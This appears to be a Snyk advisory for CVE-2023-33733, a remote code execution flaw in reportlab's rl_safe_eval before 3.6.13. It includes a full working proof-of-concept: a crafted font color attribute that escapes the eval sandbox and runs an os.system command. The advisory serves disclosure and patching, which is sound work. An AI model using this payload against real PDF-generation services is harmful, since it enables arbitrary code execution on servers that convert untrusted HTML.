Remote Code Execution (RCE) Affecting reportlab package, versions [,3.6.13)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (36th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-REPORTLAB-5664897
  • published2 Jun 2023
  • disclosed2 Jun 2023
  • creditElyas Damej

Introduced: 2 Jun 2023

CVE-2023-33733  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade reportlab to version 3.6.13 or higher.

Overview

reportlab is a Python library for generating PDFs and graphics.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient checks in the ‘rl_safe_eval’ function. Attackers can inject malicious code into an HTML file that will later be converted to PDF using software that relies on the ReportLab library. To exploit the vulnerability, the entire malicious code must be executed with eval in a single expression.

Note:

This exploit is possible only if users allow hostile input to be passed into colors - for example if accepting the URL of an HTML page someone else had written, with a generic conversion routine.

PoC

from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []

def add_paragraph(text, content):
    """ Add paragraph to document content"""
    content.append(Paragraph(text))

def get_document_template(stream_file: BytesIO):
    """ Get SimpleDocTemplate """
    return SimpleDocTemplate(stream_file)

def build_document(document, content, **props):
    """ Build pdf document based on elements added in `content`"""
    document.build(content, **props)



doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
#    [
#        [
#             [
#                 ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00',
#                       (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\x12\x01'), {})()
#                 for ftype in [type(lambda: None)]
#             ]
#             for ctype in [type(getattr(lambda: {None}, Word('__code__')))]
#        ]
#        for Word in [orgTypeFun('Word', (str,), {
#            'mutated': 1,
#            'startswith': lambda self, x: False,
#            '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x,
#            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
#            '__hash__': lambda self: hash(str(self))
#        })]
#    ]
#    for orgTypeFun in [type(type(1))]
#]

add_paragraph("""
            <para>
              <font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00', (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">
                exploit
                </font>
            </para>""", content)
build_document(doc, content)

References

CVSS Scores

version 3.1